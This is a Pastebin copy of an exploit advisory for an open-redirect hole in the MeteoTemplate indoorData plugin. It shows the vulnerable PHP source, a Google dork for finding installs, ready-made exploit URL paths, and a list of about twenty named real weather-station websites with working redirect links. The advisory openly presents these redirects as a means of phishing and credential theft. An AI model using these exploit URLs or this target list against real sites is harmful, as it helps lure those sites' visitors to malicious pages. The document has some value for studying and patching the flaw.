API tools faq
paste
KingSkrupellos

MeteoTemplate 17.1 indoorData Plugins 4.0 Open Redirection

KingSkrupellos
Mar 7th, 2019
225
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.07 KB | None | 0 0
raw download clone embed print report
  1. ########################################################################################
  2.  
  3. # Exploit Title : Meteotemplate 17.1 Nectarine indoorData Plugins 4.0 Open Redirection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 07/03/2019
  7. # Vendor Homepage : meteotemplate.com
  8. # Software Download Link : meteotemplate.com/web/downloadRequest.php?file=indoorData_4.0
  9. # Software Information Link : meteotemplate.com/web/plugins.php
  10. # Software Version : 4.0 and previous versions.
  11. Vulnerable Versions for MeteoTemplate
  12. Meteotemplate 4.1 Mango
  13. Meteotemplate 6.0 Blueberry
  14. Meteotemplate 10.0 Banana
  15. Meteotemplate 11.0 Passion Fruit
  16. Meteotemplate 13.0 Lemon
  17. Meteotemplate 16.0 Physalis
  18. MeteoTemplate 17.0 Nectarine
  19. MeteoTemplate 17.1 Nectarine
  20. # Tested On : Windows and Linux
  21. # Category : WebApps
  22. # Exploit Risk : High
  23. # Google Dorks : inurl:"/plugins/indoorData/"
  24. # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
  25. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  26. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  27. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  28. # Reference Link : cxsecurity.com/issue/WLB-2019030060
  29.  
  30. ########################################################################################
  31.  
  32. # Description about Software :
  33. ***************************
  34. This plugin creates a completely new section in your template, which has pages similar
  35.  
  36. to your weather station pages, but uses data for indoor temperature and indoor humidity.
  37.  
  38. ########################################################################################
  39.  
  40. # Impact :
  41. ***********
  42. This web application Meteotemplate 17.1 Nectarine indoorData Plugins 4.0 accepts a user-controlled input that
  43.  
  44. specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.
  45.  
  46. An http parameter may contain a URL value and could cause the web application to redirect the request to the
  47.  
  48. specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam
  49.  
  50. and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts
  51.  
  52. have a more trustworthy appearance. Open redirect is a failure in that process that makes it possible for attackers
  53.  
  54. to steer users to malicious websites. This vulnerability is used in phishing attacks to get users to visit malicious
  55.  
  56. sites without realizing it. Web users often encounter redirection when they visit the Web site of a company whose name
  57.  
  58. has been changed or which has been acquired by another company. Visiting unreal web page user's computer becomes
  59.  
  60. affected by malware the task of which is to deceive the valid actor and steal his personal data.
  61.  
  62. ########################################################################################
  63.  
  64. # Vulnerable Source Code : [ indoorRedirect.php ]
  65. *********************************************
  66. <?php
  67.  
  68. include("../../config.php");
  69. include($baseURL."css/design.php");
  70. include($baseURL."header.php");
  71. $address = urldecode($_GET["url"]);
  72.  
  73. if(!file_exists("settings.php")){
  74. echo "Missing settings file, create one using the plugin setup.";
  75. die();
  76. }
  77. else{
  78. include("settings.php");
  79. }
  80.  
  81. if($indoorVisibility!="public"){
  82. if (session_status() == PHP_SESSION_NONE) {
  83. session_start();
  84. }
  85. if($_SESSION['user']!="admin"){
  86. die ("Unauthorized access");
  87. }
  88. }
  89. ?>
  90. <html>
  91. <head>
  92. <?php metaHeader()?>
  93. <style>
  94. #loading{
  95. background-color: transparent;
  96. height: 100%;
  97. width: 100%;
  98. position: fixed;
  99. z-index: 1;
  100. margin-top: 0px;
  101. top: 0px;
  102. }
  103. #loading-center{
  104. width: 100%;
  105. height: 100%;
  106. position: relative;
  107. }
  108. #loading-center-absolute {
  109. position: absolute;
  110. left: 50%;
  111. top: 50%;
  112. height: 200px;
  113. width: 200px;
  114. margin-top: -100px;
  115. margin-left: -100px;
  116.  
  117. }
  118. .object{
  119. -moz-border-radius: 50% 50% 50% 50%;
  120. -webkit-border-radius: 50% 50% 50% 50%;
  121. border-radius: 50% 50% 50% 50%;
  122. position: absolute;
  123. border-left: 5px solid #FFF;
  124. border-right: 5px solid #FFF;
  125. border-top: 5px solid transparent;
  126. border-bottom: 5px solid transparent;
  127. -webkit-animation: animate 2s infinite;
  128. animation: animate 2s infinite;
  129. }
  130.  
  131. #object_one{
  132. left: 75px;
  133. top: 75px;
  134. width: 50px;
  135. height: 50px;
  136. }
  137.  
  138. #object_two{
  139. left: 65px;
  140. top: 65px;
  141. width: 70px;
  142. height: 70px;
  143. -webkit-animation-delay: 0.1s;
  144. animation-delay: 0.1s;
  145. }
  146.  
  147. #object_three{
  148. left: 55px;
  149. top: 55px;
  150. width: 90px;
  151. height: 90px;
  152. -webkit-animation-delay: 0.2s;
  153. animation-delay: 0.2s;
  154. }
  155. #object_four{
  156. left: 45px;
  157. top: 45px;
  158. width: 110px;
  159. height: 110px;
  160. -webkit-animation-delay: 0.3s;
  161. animation-delay: 0.3s;
  162.  
  163. }
  164.  
  165. @-webkit-keyframes animate {
  166.  
  167.  
  168. 50% {
  169. -ms-transform: rotate(180deg);
  170. -webkit-transform: rotate(180deg);
  171. transform: rotate(180deg);
  172. }
  173.  
  174. 100% {
  175. -ms-transform: rotate(0deg);
  176. -webkit-transform: rotate(0deg);
  177. transform: rotate(0deg);
  178. }
  179.  
  180. }
  181.  
  182. @keyframes animate {
  183.  
  184. 50% {
  185. -ms-transform: rotate(180deg);
  186. -webkit-transform: rotate(180deg);
  187. transform: rotate(180deg);
  188. }
  189.  
  190. 100% {
  191. -ms-transform: rotate(0deg);
  192. -webkit-transform: rotate(0deg);
  193. transform: rotate(0deg);
  194. }
  195. }
  196. </style>
  197. </head>
  198. <body onload="redirectpage()">
  199. <div id="loading">
  200. <div id="loading-center">
  201. <div id="loading-center-absolute">
  202. <div class="object" id="object_four">
  203. </div>
  204. <div class="object" id="object_three">
  205. </div>
  206. <div class="object" id="object_two">
  207. </div>
  208. <div class="object" id="object_one">
  209. </div>
  210. </div>
  211. </div>
  212. </div>
  213. </body>
  214. <script>
  215. function redirectpage(){
  216. window.location.href = "<?php echo $address ?>";
  217. }
  218. </script>
  219. </html>
  220.  
  221. ########################################################################################
  222.  
  223. # Open Redirection Exploit :
  224. **************************
  225. /template/plugins/indoorData/indoorRedirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  226.  
  227. /plugins/indoorData/indoorRedirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  228.  
  229. /meteo/plugins/indoorData/indoorRedirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  230.  
  231. /meteotemplate/plugins/indoorData/indoorRedirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  232.  
  233. /wx/plugins/indoorData/indoorRedirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  234.  
  235. ########################################################################################
  236.  
  237. # Example Vulnerable Sites :
  238. *************************
  239. [+] meteotemplate.com/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  240.  
  241. [+] meteonieuw-vennep.nl/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  242.  
  243. [+] orzepowice24.pl/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  244.  
  245. [+] andretti.pl/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  246.  
  247. [+] lesendrivesmeteo.fr/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  248.  
  249. [+] hetweeropurk.nl/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  250.  
  251. [+] wetter-lehmschlenke.de/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  252.  
  253. [+] fernandezvillatoro.es/meteo/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  254.  
  255. [+] tistrup.nu/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  256.  
  257. [+] kummersheim24.de/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  258.  
  259. [+] vejr.arloese.dk/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  260.  
  261. [+] vojta66.cz/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  262.  
  263. [+] seremange-meteolive.franceserv.com/meteotemplate/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  264.  
  265. [+] meteo.fotoli.eu/wx/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  266.  
  267. [+] wetter-hiltenfingen.euro-picture.de/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  268.  
  269. [+] info-wetter-pohlheim.de/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  270.  
  271. [+] weather-hered.hu/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  272.  
  273. [+] inselmini.ddns.net/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  274.  
  275. [+] chameleoncyber.com/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  276.  
  277. [+] lindaleweather.com/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  278.  
  279. [+] lobwx.com/template/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  280.  
  281. [+] monselicemeteo.altervista.org/plugins/indoorData/indoorRedirect.php?url=https://cxsecurity.com/
  282.  
  283. ########################################################################################
  284.  
  285. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  286.  
  287. ########################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!